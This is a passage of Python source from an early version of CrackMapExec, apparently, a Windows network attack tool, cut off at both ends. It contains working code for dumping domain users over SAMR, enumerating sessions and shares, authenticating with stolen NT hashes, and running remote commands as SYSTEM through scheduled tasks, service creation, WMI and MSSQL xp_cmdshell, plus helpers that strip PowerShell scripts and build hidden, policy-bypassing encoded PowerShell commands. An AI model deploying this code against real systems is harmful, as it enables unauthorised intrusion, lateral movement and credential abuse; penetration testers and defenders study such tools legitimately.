domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation) 124 | 125 | lock_threshold = int(resp['Buffer']['Lockout']['LockoutThreshold']) 126 | 127 | self.logger.highlight("Account lockout threshold: {}".format(lock_threshold)) 128 | 129 | lock_duration = None 130 | if lock_threshold != 0: lock_duration = int(resp['Buffer']['Lockout']['LockoutDuration']) / -600000000 131 | 132 | self.logger.highlight("Account lockout duration: {}".format(lock_duration)) -------------------------------------------------------------------------------- /core/enum/rpcquery.py: -------------------------------------------------------------------------------- 1 | from impacket.dcerpc.v5 import transport, srvs, wkst 2 | from impacket.dcerpc.v5.rpcrt import DCERPCException 3 | from impacket.dcerpc.v5.dtypes import NULL 4 | 5 | class RPCQUERY(): 6 | def __init__(self, connection, logger): 7 | self.logger = logger 8 | self.connection = connection 9 | self.host = connection.host 10 | self.username = connection.username 11 | self.password = connection.password 12 | self.domain = connection.domain 13 | self.hash = connection.hash 14 | self.nthash = '' 15 | self.lmhash = '' 16 | self.local_ip = None 17 | self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0') 18 | if self.password is None: 19 | self.password = '' 20 | if self.hash: 21 | self.lmhash, self.nthash = self.hash.split(':') 22 | 23 | def connect(self, service): 24 | 25 | if service == 'wkssvc': 26 | stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(self.host) 27 | elif service == 'srvsvc': 28 | stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(self.host) 29 | 30 | rpctransport = transport.DCERPCTransportFactory(stringBinding) 31 | rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) 32 | 33 | dce = rpctransport.get_dce_rpc() 34 | dce.connect() 35 | 36 | if service == 'wkssvc': 37 | dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.ts) 38 | elif service == 'srvsvc': 39 | dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.ts) 40 | 41 | self.local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0] 42 | return dce, rpctransport 43 | 44 | def enum_lusers(self): 45 | dce, rpctransport = self.connect('wkssvc') 46 | 47 | try: 48 | resp = wkst.hNetrWkstaUserEnum(dce, 1) 49 | lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer'] 50 | except Exception: 51 | return 52 | 53 | self.logger.success("Enumerating logged on users") 54 | for user in lusers: 55 | self.logger.highlight(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'], 56 | user['wkui1_username'], 57 | user['wkui1_logon_server'], 58 | user['wkui1_oth_domains'])) 59 | 60 | def enum_sessions(self): 61 | dce, rpctransport = self.connect('srvsvc') 62 | 63 | try: 64 | level = 502 65 | resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level) 66 | sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer'] 67 | except Exception: 68 | pass 69 | 70 | try: 71 | level = 0 72 | resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level) 73 | sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer'] 74 | except Exception: 75 | return 76 | 77 | self.logger.success("Enumerating active sessions") 78 | for session in sessions: 79 | if level == 502: 80 | if session['sesi502_cname'][:-1] != self.local_ip: 81 | self.logger.highlight(u'\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'], 82 | session['sesi502_username'], 83 | session['sesi502_num_opens'], 84 | session['sesi502_time'], 85 | session['sesi502_idle_time'])) 86 | 87 | elif level == 0: 88 | if session['sesi0_cname'][:-1] != self.local_ip: 89 | self.logger.highlight(u'\\\\{}'.format(session['sesi0_cname'])) 90 | 91 | def enum_disks(self): 92 | dce, rpctransport = self.connect('srvsvc') 93 | 94 | try: 95 | resp = srvs.hNetrServerDiskEnum(dce, 1) 96 | except Exception: 97 | pass 98 | 99 | try: 100 | resp = srvs.hNetrServerDiskEnum(dce, 0) 101 | except Exception: 102 | return 103 | 104 | self.logger.success("Enumerating disks") 105 | for disk in resp['DiskInfoStruct']['Buffer']: 106 | for dname in disk.fields.keys(): 107 | if disk[dname] != '\x00': 108 | self.logger.highlight(disk[dname]) -------------------------------------------------------------------------------- /core/enum/shares.py: -------------------------------------------------------------------------------- 1 | from impacket.smbconnection import SessionError 2 | from core.helpers import gen_random_string 3 | import random 4 | import string 5 | import ntpath 6 | 7 | class ShareEnum: 8 | 9 | def __init__(self, smbconnection, logger): 10 | self.smbconnection = smbconnection 11 | self.logger = logger 12 | self.permissions = {} 13 | self.root = ntpath.normpath("\\" + gen_random_string()) 14 | 15 | def enum(self): 16 | for share in self.smbconnection.listShares(): 17 | share_name = share['shi1_netname'][:-1] 18 | self.permissions[share_name] = [] 19 | 20 | try: 21 | self.smbconnection.listPath(share_name, '*') 22 | self.permissions[share_name].append('READ') 23 | except SessionError: 24 | pass 25 | 26 | try: 27 | self.smbconnection.createDirectory(share_name, self.root) 28 | self.smbconnection.deleteDirectory(share_name, self.root) 29 | self.permissions[share_name].append('WRITE') 30 | except SessionError: 31 | pass 32 | 33 | self.logger.success('Enumerating shares') 34 | self.logger.highlight(u'{:<15} {}'.format('SHARE', 'Permissions')) 35 | self.logger.highlight(u'{:<15} {}'.format('-----', '-----------')) 36 | for share, perm in self.permissions.iteritems(): 37 | if not perm: 38 | self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS')) 39 | else: 40 | self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm))) 41 | -------------------------------------------------------------------------------- /core/enum/uac.py: -------------------------------------------------------------------------------- 1 | from core.remoteoperations import RemoteOperations 2 | from impacket.dcerpc.v5 import rrp 3 | 4 | class UAC: 5 | 6 | def __init__(self, smbconnection, logger): 7 | self.logger = logger 8 | self.smbconnection = smbconnection 9 | self.doKerb = False 10 | 11 | def enum(self): 12 | remoteOps = RemoteOperations(self.smbconnection, self.doKerb) 13 | remoteOps.enableRegistry() 14 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 15 | regHandle = ans['phKey'] 16 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System') 17 | keyHandle = ans['phkResult'] 18 | dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA') 19 | 20 | self.logger.success("Enumerating UAC status") 21 | if uac_value == 1: 22 | self.logger.highlight('1 - UAC Enabled') 23 | elif uac_value == 0: 24 | self.logger.highlight('0 - UAC Disabled') 25 | 26 | rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle) 27 | remoteOps.finish() 28 | -------------------------------------------------------------------------------- /core/enum/users.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2003-2015 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: DCE/RPC SAMR dumper. 9 | # 10 | # Author: 11 | # Javier Kohen 12 | # Alberto Solino (@agsolino) 13 | # 14 | # Reference for: 15 | # DCE/RPC for SAMR 16 | 17 | import logging 18 | 19 | from impacket.nt_errors import STATUS_MORE_ENTRIES 20 | from impacket.dcerpc.v5 import transport, samr 21 | from impacket.dcerpc.v5.rpcrt import DCERPCException 22 | 23 | class ListUsersException(Exception): 24 | pass 25 | 26 | class SAMRDump: 27 | KNOWN_PROTOCOLS = { 28 | '139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139), 29 | '445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445), 30 | } 31 | 32 | def __init__(self, logger, protocol, connection): 33 | 34 | self.__username = connection.username 35 | self.__addr = connection.host 36 | self.__password = connection.password 37 | self.__domain = connection.domain 38 | self.__hash = connection.hash 39 | self.__protocol = protocol 40 | self.__lmhash = '' 41 | self.__nthash = '' 42 | self.__aesKey = None 43 | self.__doKerberos = False 44 | self.__logger = logger 45 | 46 | if self.__hash is not None: 47 | self.__lmhash, self.__nthash = self.__hash.split(':') 48 | 49 | if self.__password is None: 50 | self.__password = '' 51 | 52 | def enum(self): 53 | """Dumps the list of users and shares registered present at 54 | addr. Addr is a valid host name or IP address. 55 | """ 56 | 57 | logging.info('Retrieving endpoint list from %s' % self.__addr) 58 | 59 | # Try all requested protocols until one works. 60 | entries = [] 61 | 62 | protodef = SAMRDump.KNOWN_PROTOCOLS['{}/SMB'.format(self.__protocol)] 63 | port = protodef[1] 64 | 65 | logging.info("Trying protocol %s..." % self.__protocol) 66 | rpctransport = transport.SMBTransport(self.__addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos) 67 | 68 | try: 69 | entries = self.__fetchList(rpctransport) 70 | except Exception, e: 71 | logging.critical(str(e)) 72 | 73 | # Display results. 74 | 75 | self.__logger.success('Dumping users') 76 | for entry in entries: 77 | (username, uid, user) = entry 78 | base = "%s (%d)" % (username, uid) 79 | self.__logger.highlight(u'{}/FullName: {}'.format(base, user['FullName'])) 80 | self.__logger.highlight(u'{}/UserComment: {}' .format(base, user['UserComment'])) 81 | self.__logger.highlight(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId'])) 82 | self.__logger.highlight(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount'])) 83 | self.__logger.highlight(u'{}/LogonCount: {}'.format(base, user['LogonCount'])) 84 | 85 | if entries: 86 | num = len(entries) 87 | if 1 == num: 88 | logging.info('Received one entry.') 89 | else: 90 | logging.info('Received %d entries.' % num) 91 | else: 92 | logging.info('No entries received.') 93 | 94 | 95 | def __fetchList(self, rpctransport): 96 | dce = rpctransport.get_dce_rpc() 97 | 98 | entries = [] 99 | 100 | dce.connect() 101 | dce.bind(samr.MSRPC_UUID_SAMR) 102 | 103 | try: 104 | resp = samr.hSamrConnect(dce) 105 | serverHandle = resp['ServerHandle'] 106 | 107 | resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle) 108 | domains = resp['Buffer']['Buffer'] 109 | 110 | logging.info('Found domain(s):') 111 | for domain in domains: 112 | logging.info(" . %s" % domain['Name']) 113 | 114 | logging.info("Looking up users in domain %s" % domains[0]['Name']) 115 | 116 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] ) 117 | 118 | resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId']) 119 | domainHandle = resp['DomainHandle'] 120 | 121 | status = STATUS_MORE_ENTRIES 122 | enumerationContext = 0 123 | while status == STATUS_MORE_ENTRIES: 124 | try: 125 | resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext) 126 | except DCERPCException as e: 127 | if str(e).find('STATUS_MORE_ENTRIES') < 0: 128 | raise 129 | resp = e.get_packet() 130 | 131 | for user in resp['Buffer']['Buffer']: 132 | r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId']) 133 | logging.info(u"Found user: %s, uid = %d" % (user['Name'], user['RelativeId'])) 134 | info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation) 135 | entry = (user['Name'], user['RelativeId'], info['Buffer']['All']) 136 | entries.append(entry) 137 | samr.hSamrCloseHandle(dce, r['UserHandle']) 138 | 139 | enumerationContext = resp['EnumerationContext'] 140 | status = resp['ErrorCode'] 141 | 142 | except ListUsersException, e: 143 | logging.critical("Error listing users: %s" % e) 144 | 145 | dce.disconnect() 146 | 147 | return entries -------------------------------------------------------------------------------- /core/enum/wmiquery.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2003-2015 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: [MS-WMI] example. It allows to issue WQL queries and 9 | # get description of the objects. 10 | # 11 | # e.g.: select name from win32_account 12 | # e.g.: describe win32_process 13 | # 14 | # Author: 15 | # Alberto Solino (@agsolino) 16 | # 17 | # Reference for: 18 | # DCOM 19 | # 20 | import logging 21 | import traceback 22 | 23 | from impacket.dcerpc.v5.dtypes import NULL 24 | from impacket.dcerpc.v5.dcom import wmi 25 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 26 | 27 | class WMIQUERY: 28 | 29 | def __init__(self, logger, connection, wmi_namespace): 30 | self.__logger = logger 31 | self.__addr = connection.host 32 | self.__username = connection.username 33 | self.__password = connection.password 34 | self.__hash = connection.hash 35 | self.__domain = connection.domain 36 | self.__namespace = wmi_namespace 37 | self.__doKerberos = False 38 | self.__aesKey = None 39 | self.__oxidResolver = True 40 | self.__lmhash = '' 41 | self.__nthash = '' 42 | 43 | if self.__hash is not None: 44 | self.__lmhash, self.__nthash = self.__hash.split(':') 45 | 46 | if self.__password is None: 47 | self.__password = '' 48 | 49 | self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain, 50 | self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos) 51 | 52 | iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) 53 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 54 | self.__iWbemServices= iWbemLevel1Login.NTLMLogin(self.__namespace, NULL, NULL) 55 | iWbemLevel1Login.RemRelease() 56 | 57 | def query(self, query): 58 | 59 | query = query.strip('\n') 60 | 61 | if query[-1:] == ';': 62 | query = query[:-1] 63 | 64 | try: 65 | iEnumWbemClassObject = self.__iWbemServices.ExecQuery(query.strip('\n')) 66 | self.__logger.success('Executed specified WMI query') 67 | self.printReply(iEnumWbemClassObject) 68 | iEnumWbemClassObject.RemRelease() 69 | except Exception as e: 70 | traceback.print_exc() 71 | 72 | self.__iWbemServices.RemRelease() 73 | self.__dcom.disconnect() 74 | 75 | def describe(self, sClass): 76 | sClass = sClass.strip('\n') 77 | if sClass[-1:] == ';': 78 | sClass = sClass[:-1] 79 | try: 80 | iObject, _ = self.iWbemServices.GetObject(sClass) 81 | iObject.printInformation() 82 | iObject.RemRelease() 83 | except Exception as e: 84 | traceback.print_exc() 85 | 86 | def printReply(self, iEnum): 87 | printHeader = True 88 | while True: 89 | try: 90 | pEnum = iEnum.Next(0xffffffff,1)[0] 91 | record = pEnum.getProperties() 92 | line = [] 93 | for rec in record: 94 | line.append('{}: {}'.format(rec, record[rec]['value'])) 95 | self.__logger.highlight(' | '.join(line)) 96 | except Exception, e: 97 | #import traceback 98 | #print traceback.print_exc() 99 | if str(e).find('S_FALSE') < 0: 100 | raise 101 | else: 102 | break 103 | iEnum.RemRelease() -------------------------------------------------------------------------------- /core/execmethods/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/trustedsec/CrackMapExec/cd989879d495fc14f99375934c9052658fee4264/core/execmethods/__init__.py -------------------------------------------------------------------------------- /core/execmethods/atexec.py: -------------------------------------------------------------------------------- 1 | import traceback 2 | 3 | from impacket.dcerpc.v5 import tsch, transport 4 | from impacket.dcerpc.v5.dtypes import NULL 5 | from core.helpers import gen_random_string 6 | from gevent import sleep 7 | 8 | class TSCH_EXEC: 9 | def __init__(self, target, username, password, domain, hashes=None): 10 | self.__target = target 11 | self.__username = username 12 | self.__password = password 13 | self.__domain = domain 14 | self.__lmhash = '' 15 | self.__nthash = '' 16 | self.__outputBuffer = '' 17 | self.__retOutput = False 18 | #self.__aesKey = aesKey 19 | #self.__doKerberos = doKerberos 20 | 21 | if hashes is not None: 22 | self.__lmhash, self.__nthash = hashes.split(':') 23 | 24 | if self.__password is None: 25 | self.__password = '' 26 | 27 | stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.__target 28 | self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) 29 | 30 | if hasattr(self.__rpctransport, 'set_credentials'): 31 | # This method exists only for selected protocol sequences. 32 | self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 33 | #rpctransport.set_kerberos(self.__doKerberos) 34 | 35 | def execute(self, command, output=False): 36 | self.__retOutput = output 37 | try: 38 | self.doStuff(command) 39 | return self.__outputBuffer 40 | except Exception as e: 41 | traceback.print_exc() 42 | 43 | def doStuff(self, command): 44 | 45 | def output_callback(data): 46 | self.__outputBuffer = data 47 | 48 | dce = self.__rpctransport.get_dce_rpc() 49 | 50 | dce.set_credentials(*self.__rpctransport.get_credentials()) 51 | dce.connect() 52 | #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) 53 | dce.bind(tsch.MSRPC_UUID_TSCHS) 54 | tmpName = gen_random_string(8) 55 | 56 | xml = """ 57 | 58 | 59 | 60 | 2015-07-15T20:35:13.2757294 61 | true 62 | 63 | 1 64 | 65 | 66 | 67 | 68 | 69 | S-1-5-18 70 | HighestAvailable 71 | 72 | 73 | 74 | IgnoreNew 75 | false 76 | false 77 | true 78 | false 79 | 80 | true 81 | false 82 | 83 | true 84 | true 85 | true 86 | false 87 | false 88 | P3D 89 | 7 90 | 91 | 92 | 93 | cmd.exe 94 | """ 95 | if self.__retOutput: 96 | tmpFileName = tmpName + '.tmp' 97 | xml+= """ /C {} > %windir%\\Temp\\{} 2>&1 98 | 99 | 100 | 101 | """.format(command, tmpFileName) 102 | 103 | elif self.__retOutput is False: 104 | xml+= """ /C {} 105 | 106 | 107 | 108 | """.format(command) 109 | 110 | #logging.info("Task XML: {}".format(xml)) 111 | taskCreated = False 112 | try: 113 | #logging.info('Creating task \\%s' % tmpName) 114 | tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) 115 | taskCreated = True 116 | 117 | #logging.info('Running task \\%s' % tmpName) 118 | tsch.hSchRpcRun(dce, '\\%s' % tmpName) 119 | 120 | done = False 121 | while not done: 122 | #logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) 123 | resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) 124 | if resp['pLastRuntime']['wYear'] != 0: 125 | done = True 126 | else: 127 | sleep(2) 128 | 129 | #logging.info('Deleting task \\%s' % tmpName) 130 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName) 131 | taskCreated = False 132 | except tsch.DCERPCSessionError, e: 133 | traceback.print_exc() 134 | e.get_packet().dump() 135 | 136 | finally: 137 | if taskCreated is True: 138 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName) 139 | 140 | peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername())) 141 | #self.__logger.success('Executed command via ATEXEC') 142 | 143 | if self.__retOutput: 144 | smbConnection = self.__rpctransport.get_smb_connection() 145 | while True: 146 | try: 147 | #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) 148 | smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) 149 | break 150 | except Exception as e: 151 | if str(e).find('SHARING') > 0: 152 | sleep(3) 153 | elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: 154 | sleep(3) 155 | else: 156 | raise 157 | #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) 158 | smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) 159 | else: 160 | pass 161 | #logging.info('Output retrieval disabled') 162 | 163 | dce.disconnect() -------------------------------------------------------------------------------- /core/execmethods/mssqlexec.py: -------------------------------------------------------------------------------- 1 | import traceback 2 | 3 | class MSSQLEXEC: 4 | 5 | def __init__(self, connection): 6 | self.mssql_conn = connection 7 | self.outputBuffer = '' 8 | 9 | def execute(self, command, output=False): 10 | try: 11 | self.enable_xp_cmdshell() 12 | self.mssql_conn.sql_query("exec master..xp_cmdshell '{}'".format(command)) 13 | 14 | if output: 15 | self.mssql_conn.printReplies() 16 | self.mssql_conn.colMeta[0]['TypeData'] = 80*2 17 | self.outputBuffer = self.mssql_conn.printRows() 18 | 19 | self.disable_xp_cmdshell() 20 | return self.outputBuffer 21 | 22 | except Exception: 23 | traceback.print_exc() 24 | 25 | def enable_xp_cmdshell(self): 26 | self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;") 27 | 28 | def disable_xp_cmdshell(self): 29 | self.mssql_conn.sql_query("exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;") -------------------------------------------------------------------------------- /core/execmethods/smbexec.py: -------------------------------------------------------------------------------- 1 | import traceback 2 | 3 | from impacket.dcerpc.v5 import transport, scmr 4 | from impacket.smbconnection import * 5 | from core.helpers import gen_random_string 6 | 7 | class SMBEXEC: 8 | KNOWN_PROTOCOLS = { 9 | '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), 10 | '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), 11 | } 12 | 13 | def __init__(self, host, protocol, username = '', password = '', domain = '', hashes = None, share = None): 14 | self.__host = host 15 | self.__username = username 16 | self.__password = password 17 | self.__serviceName = gen_random_string() 18 | self.__domain = domain 19 | self.__lmhash = '' 20 | self.__nthash = '' 21 | self.__share = share 22 | self.__output = '\\Windows\\Temp\\' + gen_random_string() 23 | self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat' 24 | self.__outputBuffer = '' 25 | self.__shell = '%COMSPEC% /Q /c ' 26 | self.__retOutput = False 27 | self.__rpctransport = None 28 | self.__scmr = None 29 | self.__conn = None 30 | #self.__mode = mode 31 | #self.__aesKey = aesKey 32 | #self.__doKerberos = doKerberos 33 | if hashes is not None: 34 | self.__lmhash, self.__nthash = hashes.split(':') 35 | 36 | if self.__password is None: 37 | self.__password = '' 38 | 39 | protodef = SMBEXEC.KNOWN_PROTOCOLS['{}/SMB'.format(protocol)] 40 | port = protodef[1] 41 | 42 | stringbinding = protodef[0] % self.__host 43 | 44 | self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) 45 | self.__rpctransport.set_dport(port) 46 | 47 | if hasattr(self.__rpctransport,'preferred_dialect'): 48 | self.__rpctransport.preferred_dialect(SMB_DIALECT) 49 | if hasattr(self.__rpctransport, 'set_credentials'): 50 | # This method exists only for selected protocol sequences. 51 | self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 52 | #rpctransport.set_kerberos(self.__doKerberos) 53 | 54 | self.__scmr = self.__rpctransport.get_dce_rpc() 55 | try: 56 | self.__scmr.connect() 57 | except Exception as e: 58 | traceback.print_exc() 59 | 60 | s = self.__rpctransport.get_smb_connection() 61 | # We don't wanna deal with timeouts from now on. 62 | s.setTimeout(100000) 63 | 64 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 65 | resp = scmr.hROpenSCManagerW(self.__scmr) 66 | self.__scHandle = resp['lpScHandle'] 67 | self.transferClient = self.__rpctransport.get_smb_connection() 68 | 69 | def execute(self, command, output=False): 70 | self.__retOutput = output 71 | try: 72 | if self.__retOutput: 73 | self.cd('') 74 | 75 | self.execute_remote(command) 76 | self.finish() 77 | return self.__outputBuffer 78 | except Exception as e: 79 | traceback.print_exc() 80 | 81 | def cd(self, s): 82 | self.execute_remote('cd ' ) 83 | 84 | def get_output(self): 85 | 86 | if self.__retOutput is False: 87 | self.__outputBuffer = '' 88 | return 89 | 90 | def output_callback(data): 91 | self.__outputBuffer += data 92 | 93 | self.transferClient.getFile(self.__share, self.__output, output_callback) 94 | 95 | self.transferClient.deleteFile(self.__share, self.__output) 96 | 97 | def execute_remote(self, data): 98 | if self.__retOutput: 99 | command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 100 | else: 101 | command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 102 | 103 | command += ' & ' + 'del ' + self.__batchFile 104 | 105 | resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) 106 | service = resp['lpServiceHandle'] 107 | 108 | try: 109 | scmr.hRStartServiceW(self.__scmr, service) 110 | except: 111 | pass 112 | scmr.hRDeleteService(self.__scmr, service) 113 | scmr.hRCloseServiceHandle(self.__scmr, service) 114 | self.get_output() 115 | 116 | def finish(self): 117 | # Just in case the service is still created 118 | try: 119 | self.__scmr = self.__rpctransport.get_dce_rpc() 120 | self.__scmr.connect() 121 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 122 | resp = scmr.hROpenSCManagerW(self.__scmr) 123 | self.__scHandle = resp['lpScHandle'] 124 | resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) 125 | service = resp['lpServiceHandle'] 126 | scmr.hRDeleteService(self.__scmr, service) 127 | scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) 128 | scmr.hRCloseServiceHandle(self.__scmr, service) 129 | except: 130 | pass 131 | -------------------------------------------------------------------------------- /core/execmethods/wmiexec.py: -------------------------------------------------------------------------------- 1 | import ntpath 2 | import traceback 3 | 4 | from gevent import sleep 5 | from core.helpers import gen_random_string 6 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 7 | from impacket.dcerpc.v5.dcom import wmi 8 | from impacket.dcerpc.v5.dtypes import NULL 9 | 10 | class WMIEXEC: 11 | def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): 12 | self.__target = target 13 | self.__username = username 14 | self.__password = password 15 | self.__domain = domain 16 | self.__lmhash = '' 17 | self.__nthash = '' 18 | self.__share = share 19 | self.__smbconnection = smbconnection 20 | self.__output = '\\' + gen_random_string(6) 21 | self.__outputBuffer = '' 22 | self.__shell = 'cmd.exe /Q /c ' 23 | self.__pwd = 'C:\\' 24 | self.__aesKey = None 25 | self.__doKerberos = False 26 | self.__retOutput = True 27 | if hashes is not None: 28 | self.__lmhash, self.__nthash = hashes.split(':') 29 | 30 | if self.__password is None: 31 | self.__password = '' 32 | 33 | self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) 34 | iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) 35 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 36 | iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) 37 | iWbemLevel1Login.RemRelease() 38 | 39 | self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') 40 | 41 | def execute(self, command, output=False): 42 | self.__retOutput = output 43 | try: 44 | if self.__retOutput: 45 | self.__smbconnection.setTimeout(100000) 46 | self.cd('\\') 47 | 48 | self.execute_remote(command) 49 | self.__dcom.disconnect() 50 | return self.__outputBuffer 51 | except Exception as e: 52 | traceback.print_exc() 53 | self.__dcom.disconnect() 54 | 55 | 56 | def cd(self, s): 57 | self.execute_remote('cd ' + s) 58 | if len(self.__outputBuffer.strip('\r\n')) > 0: 59 | print self.__outputBuffer 60 | self.__outputBuffer = '' 61 | else: 62 | self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) 63 | self.execute_remote('cd ') 64 | self.__pwd = self.__outputBuffer.strip('\r\n') 65 | self.prompt = self.__pwd + '>' 66 | self.__outputBuffer = '' 67 | 68 | def execute_remote(self, data): 69 | command = self.__shell + data 70 | if self.__retOutput: 71 | command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' 72 | self.__win32Process.Create(command, self.__pwd, None) 73 | self.get_output() 74 | 75 | def get_output(self): 76 | 77 | if self.__retOutput is False: 78 | self.__outputBuffer = '' 79 | return 80 | 81 | def output_callback(data): 82 | self.__outputBuffer += data 83 | 84 | while True: 85 | try: 86 | self.__smbconnection.getFile(self.__share, self.__output, output_callback) 87 | break 88 | except Exception as e: 89 | if str(e).find('STATUS_SHARING_VIOLATION') >=0: 90 | # Output not finished, let's wait 91 | sleep(1) 92 | pass 93 | else: 94 | #print str(e) 95 | pass 96 | 97 | self.__smbconnection.deleteFile(self.__share, self.__output) 98 | -------------------------------------------------------------------------------- /core/helpers.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import re 4 | from base64 import b64encode 5 | from termcolor import colored 6 | 7 | def gen_random_string(length=10): 8 | return ''.join(random.sample(string.ascii_letters, int(length))) 9 | 10 | def obfs_ps_script(script, function_name=None): 11 | """ 12 | Strip block comments, line comments, empty lines, verbose statements, 13 | and debug statements from a PowerShell source file. 14 | 15 | If the function_name paramater is passed, replace the main powershell function name with it 16 | """ 17 | if function_name: 18 | function_line = script.split('\n', 1)[0] 19 | if function_line.find('function') != -1: 20 | script = re.sub('-.*', '-{}\r'.format(function_name), script, count=1) 21 | 22 | # strip block comments 23 | strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script) 24 | # strip blank lines, lines starting with #, and verbose/debug statements 25 | strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )]) 26 | return strippedCode 27 | 28 | def create_ps_command(ps_command, force_ps32=False): 29 | ps_command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + ps_command 30 | if force_ps32: 31 | command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE'))) 32 | elif not 